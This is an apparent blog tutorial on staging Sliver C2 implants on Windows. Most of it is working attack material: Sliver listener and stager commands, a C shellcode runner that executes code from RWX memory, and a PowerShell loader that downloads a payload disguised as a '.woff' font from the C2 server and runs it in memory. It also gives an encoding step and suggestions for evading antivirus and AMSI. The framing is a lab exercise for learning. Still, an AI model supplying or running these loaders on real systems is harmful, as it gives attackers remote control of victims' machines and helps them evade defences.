A short article about setting up stagers in Sliver and a fast c and Powershell runner.
A bit advanced, now you're warned :)
Requires a Kali machine, and a Windows target VM.

So, what is a shellcode runner and why would we care really ?
Because Sliver implants are quite large, and they get caught by AV in Windows, so how do we avoid that ? This is where runners come in. They are initial paayloads, small in size, meant to get a foothold on the target, and download a second stage payload, in this case, the main implant. Sliver implants are second-stage, and are not meant to be run directly, but Sliiver doesn't come with loaders, so we have to come up with that on our own.
So, with the intro out of the way, let's dive in...

The idea is, a small file (the 1st stage), get in touch with the Sliver C2, that sends the final payload, and get it run on target. Here, we're building a C code and Powershell loader, but others can be build, like Python, Ruby and others, because the generate stager command is only a wrapper around MSF-Venom, that spit's out raw shellcode to a file, nothing else.

First, we need a couple of things,We need a profile that defines our payload, an mtls listener for the second-stage to connect back to, and a http and a tcp listener. We use the tcp one for the c runner, and http for powershell, so we might as well do them all at once.

First the profile :

sliver >  profiles new --mtls sliver-IP-Addr --skip-symbols --format shellcode --arch amd64 win64


Let's confirm that our profile is there.

sliver > profiles

 Profile Name   Implant Type   Platform        Command & Control           Debug   Format      Obfuscation   Limitations 
============== ============== =============== =========================== ======= =========== ============= =============
 win64          session        windows/amd64   [1] mtls://x.x.x.x:8888   false   SHELLCODE   enabled                   

And it is. Now we need the mtls listener, so set it up with :

sliver > mtls

And confirm it worked, and mtls is running.

sliver > jobs

 ID   Name   Protocol   Port 
==== ====== ========== ======
 1    mtls   tcp        8888

Now we need a tcp stage-listener, on port 8443, for use with the c runner code, and we do it like this :

sliver > stage-listener --url tcp://sliver-IP_addr:8443 --profile win64

[*] No builds found for profile win64, generating a new one
[*] Job 2 (tcp) started

sliver > jobs

 ID   Name   Protocol   Port 
==== ====== ========== ======
 1    mtls   tcp        8888
 2    TCP    tcp        8443

Okay, get some coffee, we're almost done with the setup, one last thing to do, the http listener for serving the powershell loader over http.

sliver > stage-listener --url http://x.x.x.x:80 --profile win64

Now we're done setting up our listeners, on with the stagers, let's do c first.

 

sliver > generate stager --lhost x.x.x.x --lport 8443 --arch amd64 --format c --save /tmp

[*] Sliver implant stager saved to: /tmp/SOLID_TOSSER

Now, if we try to run the payload, we can't, but what to do with it then ?. We need to cat out that file, include it in a wrapper, compile it to exe, and then run it. So, fun times ahead :)

└─$ cat /tmp/SOLID_TOSSER 
unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\xff\xe7\x58\x6a\x00\x59\xbb\xe0\x1d\x2a\x0a\x41\x89\xda\xff"
"\xd5";

Here's the shellcode in c format, so on with a simple concept runner in c code.

#include "windows.h"

int main()
{
    unsigned char shellcode[] =
    "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    ...
    "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
    "\xff\xe7\x58\x6a\x00\x59\xbb\xe0\x1d\x2a\x0a\x41\x89\xda\xff"
    "\xd5";


    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();

    return 0;
}

Now, all we need to do is save this somewhere, mines shellrunner.c and compile this thing, we can do that with the mingw compiler.

x86_64-w64-mingw32-gcc -o shellrunner.exe shellrunner.c

Now, if there were no errors, you should have an exe file, that can be copied to a Windows target, but I do suggest you turn off Defender (AV), since this is not encrypted, so it will get caught, since it's using MSF shellcode.
And the point here is not AV-Evasion, but to show the concept of custom runners and shellcode in Sliver C2.

Fire it up, and hopefully you get a session in Sliver :)

So, we're done with the c runner, on to Powershell. Now, remember we had to listeners, one tcp, and one http ?, time for the http one now.

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress,
    uint dwSize,
    uint flAllocationType,
    uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(
    IntPtr lpThreadAttributes,
    uint dwStackSize,
    IntPtr lpStartAddress,
    IntPtr lpParameter,
    uint dwCreationFlags,
    IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(
    IntPtr hHandle,
    UInt32 dwMilliseconds);
}
"@
Add-Type $Win32

$shellcode = (New-Object System.Net.WebCLient).DownloadData("http://CHANGE_THIS_TO_SLIVER_IP/fontawesome.woff")
if ($shellcode -eq $null) {Exit};
$size = $shellcode.Length

[IntPtr]$addr = [Win32]::VirtualAlloc(0,$size,0x1000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $size)
$thandle=[Win32]::CreateThread(0,0,$addr,0,0,0);
[Win32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

This is the Powershell loader. It simply just tries to get a .woff file from the C2 server, downloads and executes it in memory. NOTE, this is very basic,  No obfuscation, no AMSI-Bypass, this is left for the reader to do. Save this as a ps1 file, copy it to the windows target, and run from a powershell shell.

For base64 encryption on Linux, do this.

cat stager.ps1 | iconv --to-code UTF-16LE | base64 -w 0 > enc-loader.ps1

Note that b64 encryption will get you flagged by AV, so a bit of work needs to be done to get it to work, again, look into obfuscation of Powershell and that sort of thing, and you'll see the light ;)

So, there you go, a couple of simple runners and stagers for Sliver, now go play on your own. Maybe look into encrypting the second-stage payload ?, encrypted runners, other formats of runners, Python maybe ?, what about Ruby ?

Much Happy Coding ;)

You have no rights to post comments